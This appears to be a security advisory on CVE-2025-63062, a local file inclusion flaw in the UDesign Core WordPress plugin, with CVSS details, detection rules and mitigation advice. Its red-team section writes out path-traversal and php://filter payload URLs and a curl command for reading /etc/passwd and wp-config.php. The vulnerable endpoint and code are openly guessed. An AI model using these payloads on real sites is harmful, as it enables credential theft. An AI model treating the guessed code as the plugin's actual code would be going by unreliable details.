CVE-2025-63062

Executive Summary

CVE-2025-63062 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the UDesign Core plugin (slug: u-design-core) for the WordPress ecosystem. The flaw arises from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to disclosure of sensitive information such as wp-config.php, database credentials, or other system files. The vulnerability affects all versions of UDesign Core from n/a through 4.14.0. No patch has been officially released, and no public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory and commercial marketplaces. Users who have installed UDesign Core from any source are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby registries. The lack of a patch means that supply chain risk is elevated, as no official fix exists to mitigate the flaw.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The ease of exploitation and potential for sensitive data exposure make this a serious threat for any WordPress site using the UDesign Core plugin.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) caused by unsanitized user input being passed to a PHP include() or require() function. In the UDesign Core plugin, a parameter (likely $_GET['file'] or similar) is used to dynamically include a file without proper validation or sanitization. An attacker can manipulate this parameter to include arbitrary files from the server, such as /etc/passwd or wp-config.php.

The core issue is the lack of a whitelist or path traversal checks. The plugin likely constructs a file path like:

include( $plugin_dir . '/' . $_GET['file'] . '.php' );

By using path traversal sequences (e.g., ../../../../etc/passwd%00), an attacker can escape the intended directory and include any readable file. The null byte injection (%00) may be used to truncate the .php extension in older PHP versions, but modern PHP versions require alternative techniques like double encoding or using wrapper protocols.

WordPress Ecosystem Context: This vulnerability is specific to the UDesign Core plugin and does not affect the WordPress core or other plugins. The attack surface is limited to sites that have this plugin installed and active.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (u-design-core/includes/class-udesign-core.php)
$file = $_GET['file'];
include( UDESIGN_CORE_PATH . '/templates/' . $file . '.php' );

A patched version would implement strict validation:

// Patched code
$allowed_files = array( 'template1', 'template2', 'template3' );
$file = $_GET['file'];
if ( in_array( $file, $allowed_files, true ) ) {
    include( UDESIGN_CORE_PATH . '/templates/' . $file . '.php' );
} else {
    // Handle error
    wp_die( 'Invalid file request.' );
}

The patched version uses a whitelist approach, ensuring only predefined files can be included. Additionally, input sanitization (e.g., sanitize_file_name()) and path traversal checks should be implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with UDesign Core plugin version <= 4.14.0.
• Knowledge of the vulnerable parameter (e.g., file).

Exploitation Steps:

1. Identify the vulnerable endpoint: The vulnerable parameter is likely in a URL like http://target/wp-content/plugins/u-design-core/includes/class-udesign-core.php?file=... or via a WordPress AJAX action.

2. Craft the payload: Use path traversal to read sensitive files.

   http://target/wp-content/plugins/u-design-core/includes/class-udesign-core.php?file=../../../../etc/passwd
   

3. Bypass extension restrictions: If the code appends .php, use a null byte (for PHP < 5.3.4) or a wrapper like php://filter.

   http://target/...?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd
   

4. Read wp-config.php: To obtain database credentials.

   http://target/...?file=../../../../wp-config
   

Example curl command:

curl -v "http://target/wp-content/plugins/u-design-core/includes/class-udesign-core.php?file=../../../../etc/passwd"

Note: No public exploit code is available. The above is a generic LFI exploitation technique.

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious file parameters containing ../ or php://.
• Look for requests to u-design-core plugin files with unexpected query strings.

Prevention:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Use a security plugin like Wordfence to detect and block LFI attempts.

Honeypot:

• Deploy a fake wp-config.php file that logs access attempts.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/u-design-core/includes/class-udesign-core.php
• URL Patterns: ?file=../../../../etc/passwd or ?file=php://filter/...
• Log Entries: HTTP requests with file parameter containing ../ or php://.
• Network Traffic: Outbound connections from the server to external IPs (if RFI is possible, though this is LFI only).

Detection Engineering

YARA Rule

rule CVE_2025_63062_LFI_Attempt {
    meta:
        description = "Detects LFI attempts targeting UDesign Core plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63062"
    strings:
        $path_traversal = /file=\.\.\// nocase
        $php_wrapper = /file=php:\/\// nocase
        $udesign_core = /u-design-core/ nocase
    condition:
        any of ($path_traversal, $php_wrapper) and $udesign_core
}

Sigma Rule

title: CVE-2025-63062 LFI Attempt on UDesign Core
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with path traversal or PHP wrappers targeting UDesign Core plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'file=../'
            - 'file=php://'
        cs-uri-stem|contains: 'u-design-core'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63062 LFI Attempt on UDesign Core"; flow:to_server,established; content:"u-design-core"; http_uri; content:"file="; http_uri; pcre:"/file=(\.\.\/|php:\/\/)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the UDesign Core plugin until an official patch is released.
2. Implement a WAF rule to block requests containing file=../ or file=php:// in the query string.
3. Monitor logs for any signs of exploitation.

Long-term Fix:

• The vendor (AndonDesign) must release a patched version that implements input validation and a whitelist of allowed files.
• Users should update to the latest version once available.

Workaround:

• If the plugin cannot be disabled, modify the vulnerable file to add input sanitization (e.g., using basename() and realpath()).

Valters IT